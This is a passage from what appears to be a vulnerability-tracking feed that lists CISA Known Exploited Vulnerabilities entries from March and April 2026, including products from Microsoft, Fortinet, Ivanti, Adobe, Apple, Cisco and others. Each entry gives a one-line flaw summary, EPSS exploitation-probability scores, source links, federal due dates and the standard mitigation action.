Microsoft Visual Basic for Applications Insecure Library Loading Vulnerability (Apr 13, 2026).
Microsoft Visual Basic for Applications (VBA) contains an insecure library loading vulnerability that could allow for remote code execution.
EPSS 20.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2012-1854&date=2026-10-25).
Sources:
CISA KEV entry CVE-2012-1854: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2012-1854&date=2026-10-25
CISA added this entry on 2026-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 13, 2026; federal due date Apr 27, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Link Following Vulnerability
https://kevwire.com/record/CVE-2025-60710
Microsoft Windows Link Following Vulnerability (Apr 13, 2026).
Microsoft Windows contains a link following vulnerability that allows for privilege escalation
EPSS 4.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-60710&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-60710: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-60710&date=2026-10-25
CISA added this entry on 2026-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 13, 2026; federal due date Apr 27, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Exchange Server Deserialization of Untrusted Data Vulnerability
https://kevwire.com/record/CVE-2023-21529
Microsoft Exchange Server Deserialization of Untrusted Data Vulnerability (Apr 13, 2026).
Microsoft Exchange Server contains a deserialization of untrusted data that allows an authenticated attacker to achieve remote code execution.
EPSS 59.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-21529&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-21529: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-21529&date=2026-10-25
CISA added this entry on 2026-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 13, 2026; federal due date Apr 27, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Out-of-Bounds Read Vulnerability
https://kevwire.com/record/CVE-2023-36424
Microsoft Windows Out-of-Bounds Read Vulnerability (Apr 13, 2026).
Microsoft Windows Common Log File System Driver contains an out-of-bounds read vulnerability that could allow a threat actor for privileges escalation
EPSS 12.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-36424&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-36424: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-36424&date=2026-10-25
CISA added this entry on 2026-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 13, 2026; federal due date Apr 27, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Acrobat Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2020-9715
Adobe Acrobat Use-After-Free Vulnerability (Apr 13, 2026).
Adobe Acrobat contains a use-after-free vulnerability that allows for code execution
EPSS 33.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-9715&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-9715: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-9715&date=2026-10-25
CISA added this entry on 2026-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 13, 2026; federal due date Apr 27, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Fortinet FortiClient EMS SQL Injection Vulnerability
https://kevwire.com/record/CVE-2026-21643
Fortinet FortiClient EMS SQL Injection Vulnerability (Apr 13, 2026).
Fortinet FortiClient EMS contains a SQL injection vulnerability that may allow an unauthenticated attacker to execute unauthorized code or commands via specifically crafted HTTP requests.
EPSS 97.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-21643&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-21643: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-21643&date=2026-10-25
CISA added this entry on 2026-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 13, 2026; federal due date Apr 16, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Acrobat and Reader Prototype Pollution Vulnerability
https://kevwire.com/record/CVE-2026-34621
Adobe Acrobat and Reader Prototype Pollution Vulnerability (Apr 13, 2026).
Adobe Acrobat and Reader contain a prototype pollution vulnerability that allows for arbitrary code execution.
EPSS 7.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-34621&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-34621: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-34621&date=2026-10-25
CISA added this entry on 2026-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 13, 2026; federal due date Apr 27, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ivanti Endpoint Manager Mobile (EPMM) Code Injection Vulnerability
https://kevwire.com/record/CVE-2026-1340
Ivanti Endpoint Manager Mobile (EPMM) Code Injection Vulnerability (Apr 8, 2026).
Ivanti Endpoint Manager Mobile (EPMM) contains a code injection vulnerability that could allow attackers to achieve unauthenticated remote code execution.
EPSS 98.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-1340&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-1340: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-1340&date=2026-10-25
CISA added this entry on 2026-04-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 8, 2026; federal due date Apr 11, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Fortinet FortiClient EMS Improper Access Control Vulnerability
https://kevwire.com/record/CVE-2026-35616
Fortinet FortiClient EMS Improper Access Control Vulnerability (Apr 6, 2026).
Fortinet FortiClient EMS contains an improper access control vulnerability that may allow an unauthenticated attacker to execute unauthorized code or commands via crafted requests.
EPSS 94.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-35616&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-35616: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-35616&date=2026-10-25
CISA added this entry on 2026-04-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 6, 2026; federal due date Apr 9, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### TrueConf Client Download of Code Without Integrity Check Vulnerability
https://kevwire.com/record/CVE-2026-3502
TrueConf Client Download of Code Without Integrity Check Vulnerability (Apr 2, 2026).
TrueConf Client contains a download of code without integrity check vulnerability. An attacker who is able to influence the update delivery path can substitute a tampered update payload. If the payload is executed or installed by the updater, this may result in arbitrary code execution in the context of the updating process or user.
EPSS 5.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-3502&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-3502: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-3502&date=2026-10-25
CISA added this entry on 2026-04-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 2, 2026; federal due date Apr 16, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Dawn Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2026-5281
Google Dawn Use-After-Free Vulnerability (Apr 1, 2026).
Google Dawn contains an use-after-free vulnerability that could allow a remote attacker who had compromised the renderer process to execute arbitrary code via a crafted HTML page. This vulnerability could affect multiple Chromium-based products including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 13.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-5281&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-5281: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-5281&date=2026-10-25
CISA added this entry on 2026-04-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 1, 2026; federal due date Apr 15, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Citrix NetScaler Out-of-Bounds Read Vulnerability
https://kevwire.com/record/CVE-2026-3055
Citrix NetScaler Out-of-Bounds Read Vulnerability (Mar 30, 2026).
Citrix NetScaler ADC (formerly Citrix ADC), NetScaler Gateway (formerly Citrix Gateway) and NetScaler ADC FIPS and NDcPP contain an out-of-bounds reads vulnerability when configured as a SAML IDP leading to memory overread.
EPSS 91.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-3055&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-3055: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-3055&date=2026-10-25
CISA added this entry on 2026-03-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 30, 2026; federal due date Apr 2, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### F5 BIG-IP Stack-Based Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2025-53521
F5 BIG-IP Stack-Based Buffer Overflow Vulnerability (Mar 27, 2026).
F5 BIG-IP APM contains a stack-based buffer overflow vulnerability that could allow a threat actor to achieve remote code execution.
EPSS 2.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-53521&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-53521: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-53521&date=2026-10-25
CISA added this entry on 2026-03-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 27, 2026; federal due date Mar 30, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Aquasecurity Trivy Embedded Malicious Code Vulnerability
https://kevwire.com/record/CVE-2026-33634
Aquasecurity Trivy Embedded Malicious Code Vulnerability (Mar 26, 2026).
Aquasecurity Trivy contains an embedded malicious code vulnerability that could allow an attacker to gain access to everything in the CI/CD environment, including all tokens, SSH keys, cloud credentials, database passwords, and any sensitive configuration in memory.
EPSS 59.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-33634&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-33634: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-33634&date=2026-10-25
CISA added this entry on 2026-03-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 26, 2026; federal due date Apr 9, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Langflow Code Injection Vulnerability
https://kevwire.com/record/CVE-2026-33017
Langflow Code Injection Vulnerability (Mar 25, 2026).
Langflow contains a code injection vulnerability that could allow building public flows without requiring authentication.
EPSS 96.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-33017&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-33017: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-33017&date=2026-10-25
CISA added this entry on 2026-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 25, 2026; federal due date Apr 8, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Craft CMS Code Injection Vulnerability
https://kevwire.com/record/CVE-2025-32432
Craft CMS Code Injection Vulnerability (Mar 20, 2026).
Craft CMS contains a code injection vulnerability that allows a remote attacker to execute arbitrary code.
EPSS 99.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-32432&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-32432: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-32432&date=2026-10-25
CISA added this entry on 2026-03-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 20, 2026; federal due date Apr 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Laravel Livewire Code Injection Vulnerability
https://kevwire.com/record/CVE-2025-54068
Laravel Livewire Code Injection Vulnerability (Mar 20, 2026).
Laravel Livewire contain a code injection vulnerability that could allow unauthenticated attackers to achieve remote command execution in specific scenarios.
EPSS 96.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-54068&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-54068: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-54068&date=2026-10-25
CISA added this entry on 2026-03-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 20, 2026; federal due date Apr 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products Improper Locking Vulnerability
https://kevwire.com/record/CVE-2025-43510
Apple Multiple Products Improper Locking Vulnerability (Mar 20, 2026).
Apple watchOS, iOS, iPadOS, macOS, visionOS, and tvOS contain an improper locking vulnerability that could allow a malicious application to cause unexpected changes in memory shared between processes.
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-43510&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-43510: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-43510&date=2026-10-25
CISA added this entry on 2026-03-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 20, 2026; federal due date Apr 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products Classic Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2025-43520
Apple Multiple Products Classic Buffer Overflow Vulnerability (Mar 20, 2026).
Apple watchOS, iOS, iPadOS, macOS, visionOS, and tvOS contain a classic buffer overflow vulnerability which could allow a malicious application to cause unexpected system termination or write kernel memory.
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-43520&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-43520: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-43520&date=2026-10-25
CISA added this entry on 2026-03-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 20, 2026; federal due date Apr 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2025-31277
Apple Multiple Products Buffer Overflow Vulnerability (Mar 20, 2026).
Apple Safari, iOS, watchOS, visionOS, iPadOS, macOS, and tvOS contain a buffer overflow vulnerability that could allow the processing of maliciously crafted web content which may lead to memory corruption.
EPSS 1.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-31277&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-31277: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-31277&date=2026-10-25
CISA added this entry on 2026-03-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 20, 2026; federal due date Apr 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco Secure Firewall Management Center (FMC) Software and Cisco Security Cloud Control (SCC) Firewall Management Deserialization of Untrusted Data Vulnerability
https://kevwire.com/record/CVE-2026-20131
Cisco Secure Firewall Management Center (FMC) Software and Cisco Security Cloud Control (SCC) Firewall Management Deserialization of Untrusted Data Vulnerability (Mar 19, 2026).
Cisco Secure Firewall Management Center (FMC) Software and Cisco Security Cloud Control (SCC) Firewall Management contain a deserialization of untrusted data vulnerability in the web-based management interface that could allow an unauthenticated, remote attacker to execute arbitrary Java code as root on an affected device.
EPSS 43.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-20131&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-20131: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-20131&date=2026-10-25
CISA added this entry on 2026-03-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 19, 2026; federal due date Mar 22, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Synacor Zimbra Collaboration Suite (ZCS) Cross-Site Scripting Vulnerability
https://kevwire.com/record/CVE-2025-66376
Synacor Zimbra Collaboration Suite (ZCS) Cross-Site Scripting Vulnerability (Mar 18, 2026).
Synacor Zimbra Collaboration Suite (ZCS) contains a cross-site scripting vulnerability in the Classic UI where attackers could abuse Cascading Style Sheets (CSS) @import directives in email HTML.
EPSS 20.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-66376&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-66376: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-66376&date=2026-10-25
CISA added this entry on 2026-03-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 18, 2026; federal due date Apr 1, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft SharePoint Deserialization of Untrusted Data Vulnerability
https://kevwire.com/record/CVE-2026-20963
Microsoft SharePoint Deserialization of Untrusted Data Vulnerability (Mar 18, 2026).
Microsoft SharePoint contains a deserialization of untrusted data vulnerability that allows an unauthorized attacker to execute code over a network.
EPSS 29.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-20963&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-20963: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-20963&date=2026-10-25
CISA added this entry on 2026-03-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 18, 2026; federal due date Mar 21, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Wing FTP Server Information Disclosure Vulnerability
https://kevwire.com/record/CVE-2025-47813
Wing FTP Server Information Disclosure Vulnerability (Mar 16, 2026).
Wing FTP Server contains a generation of error message containing sensitive information vulnerability when using a long value in the UID cookie.
EPSS 62.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-47813&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-47813: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-47813&date=2026-10-25
CISA added this entry on 2026-03-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 16, 2026; federal due date Mar 30, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium V8 Improper Restriction of Operations Within the Bounds of a Memory Buffer Vulnerability
https://kevwire.com/record/CVE-2026-3910
Google Chromium V8 Improper Restriction of Operations Within the Bounds of a Memory Buffer Vulnerability (Mar 13, 2026).
Google Chromium V8 contains an improper restriction of operations within the bounds of a memory buffer vulnerability that could allow a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 2.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-3910&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-3910: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
